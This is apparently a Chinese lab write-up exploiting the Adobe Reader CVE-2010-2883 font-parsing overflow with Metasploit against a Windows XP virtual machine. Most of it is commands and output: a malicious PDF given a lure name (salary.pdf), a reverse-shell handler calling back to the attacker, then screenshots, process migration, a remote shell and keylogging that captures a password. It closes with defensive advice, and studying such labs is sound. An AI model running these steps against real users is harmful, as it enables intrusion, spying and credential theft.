adobe和microsoft这两家公司每年都会贡献一大堆漏洞,每一个漏洞影响范围之大、危害之程度深当是无人能敌,他们的全家桶对我们日常生活办公是有很紧密的联系的。
CVE-2010-2883漏洞原理: Adobe Reader 8.24-9.3.4的CoolType.dll库在解析字体文件SING表格中的uniqueName项时存在栈溢出漏洞,用户打开了特制的PDF文件可能导致执行恶意代码,可实现比如进行远程控制等效果。
反汇编工具IDA: IDA 是全球最智能、功能最完善的交互式反汇编程序,许多软件安全专家和黑客都对这款软件如雷贯耳。
用IDA反汇编CoolType.dll库,查看字符串可发现“SING”字体,直接定位进去即可查看到该库对sing表格的解析方式,主要是strcat造成的溢出漏洞:
Kali Linux + Windows xp
渗透机:Kali Linux (ip :192.168.10.129)
靶机:Windows xp (ip:192.168.10.128)
软件:Adobe Reader 9.3.exe
root@kali:~# msfconsole //进入msf框架
msf > search adobe_cooltype_sing //找到可以供我们测试的渗透模块
[!] Module database cache not built yet, using slow search
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/browser/adobe_cooltype_sing 2010-09-07 great Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
exploit/windows/fileformat/adobe_cooltype_sing 2010-09-07 great Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //调用meterpreter载荷,反向连接到渗透机
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/fileformat/adobe_cooltype_sing) > set LHosT 192.168.10.129
LHosT => 192.168.10.129 //设置Kali Linux的IP地址
msf exploit(windows/fileformat/adobe_cooltype_sing) > set FileNAME salary.pdf
FileNAME => salary.pdf //设置生成带有后门pdf文件名,我们取的像一点,就叫salary吧
msf exploit(windows/fileformat/adobe_cooltype_sing) > set LpORT 9999
LpORT => 9999 //设置本地监听端口
msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit //执行渗透生成文件成功,此时我们把它拷贝出来,先放到桌面
[*] Creating 'salary.pdf' file...
[+] salary.pdf stored at /root/.msf4/local/salary.pdf
msf exploit(windows/fileformat/adobe_cooltype_sing) >
root@kali:~# cp /root/.msf4/local/salary.pdf /root/Desktop/salary.pdf
(看了一下,嗯,挺像,有信心让人不自觉点看看看,哈哈~)
msf exploit(windows/fileformat/adobe_cooltype_sing) > back
msf > use exploit/multi/handler //使用handler监听模块
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp 回弹一个tcp连接
msf exploit(multi/handler) > set LhOST 192.168.10.129 设置监听IP地址(kali)
LhOST => 192.168.10.129
msf exploit(multi/handler) > set LPORT 9999 设置监听的端口(跟PDF文件一致)
LPORT => 9999
msf exploit(multi/handler) > exploit //开启监听
[*] Started reverse TCP handler on 192.168.10.129:9999
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.10.129:9999
[*] Sending stage (179779 bytes) to 192.168.10.128
[*] Meterpreter session 1 opened (192.168.10.129:9999 -> 192.168.10.128:1041) at 2018-09-04 22:40:36 +0800
先查查看看一下系统信息
meterpreter > sysinfo
Computer : DH-CA8822AB9589
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
查看一下当前用户
meterpreter > getuid
Server username: DH-CA8822AB9589\Administrator
截屏看看对方桌面长什么样
meterpreter > screenshot
Screenshot saved to: /root/RawFyMji.jpeg
(此时我们看到对方卡在那里了,关闭不掉)
但这个漏洞利用过程有可能adobe reader会“卡壳”退出,所以需要快速切换到其他系统进程,这样会话才不会丢失
meterpreter > ps //获取进程
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x86 0
172 612 explorer.exe x86 0 DH-CA8822AB9589\Administrator C:\WINDOWS\Explorer.EXE
336 728 spnsrvnt.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Common Files\SafeNet Sentinel\Sentinel Protection Server\WinNT\spnsrvnt.exe
392 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
448 728 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
524 728 VMUpgradeHelper.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMUpgradeHelper.exe
648 1124 wscntfy.exe x86 0 DH-CA8822AB9589\Administrator C:\WINDOWS\system32\wscntfy.exe
656 392 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
680 392 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
728 680 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
740 680 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
836 172 ICQLite.exe x86 0 DH-CA8822AB9589\Administrator C:\Program Files\ICQLite\ICQLite.exe
912 728 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmacthlp.exe
924 728 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
1040 728 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1124 728 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1212 728 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1272 728 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1452 728 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1616 728 alg.exe x86 0 C:\WINDOWS\System32\alg.exe
1664 172 VMwareTray.exe x86 0 DH-CA8822AB9589\Administrator C:\Program Files\VMware\VMware Tools\VMwareTray.exe
1700 172 VMwareUser.exe x86 0 DH-CA8822AB9589\Administrator C:\Program Files\VMware\VMware Tools\VMwareUser.exe
1956 728 HistorySvr.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\KingView\HistorySvr.exe
1968 728 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe
2024 728 sntlkeyssrvr.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Common Files\SafeNet Sentinel\Sentinel Keys Server\sntlkeyssrvr.exe
2332 172 AcroRd32.exe x86 0 DH-CA8822AB9589\Administrator C:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe
3304 172 cmd.exe x86 0 DH-CA8822AB9589\Administrator C:\WINDOWS\system32\cmd.exe
meterpreter > migrate 172 //切换进程到172 也就是explorer.exe
[*] Migrating from 2332 to 172...
[*] Migration completed successfully.
获取Dos Shell 查看ip 关机 emmmmm
meterpreter > shell
Process 2928 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator>
C:\Documents and Settings\Administrator>ipconfig //看一下对方ip
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.10.128
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.10.254
C:\Documents and Settings\Administrator>shutdown //关机,emmmmmmm
记录键盘敲的内容
开启键盘记录
meterpreter > keyscan_start
Starting the keystroke sniffer ...
我们在肉鸡上随便敲一下东西,密码更好
输出键盘记录
meterpreter > keyscan_dump
Dumping captured keystrokes...
no no no wo<^H><^H>bu yao guan i<^H>ji hahahahahahah
usernmae<^H><^H><^H>ame :jackson
password:jackson
实验总结:
从实验中我们可以看到,由于Adobe Reader 存在CVE-2010-2883这个高危漏洞,导致电脑打开被改造过的pdf之后,直接变成肉鸡。这个漏洞是很久很久的了,假如这是个0day漏洞,在真实环境下,很多黑客会可能会结合社会工程学,例如通过诱导邮件、各种论坛、QQ群、微信群等多渠道,诱导用户下载并打开,而只要打开的用户,就会直接中招。所以呢,大家平常一定要非常小心陌生办公文件,无论是pdf还是word等,打开之前一定要明确来源,或者用杀毒软件先杀毒,再打开。另外,就是尽量保证电脑的软件处于最新版,这样软件的bug才能的到及时修复,才能最大程度降低被攻击的几率。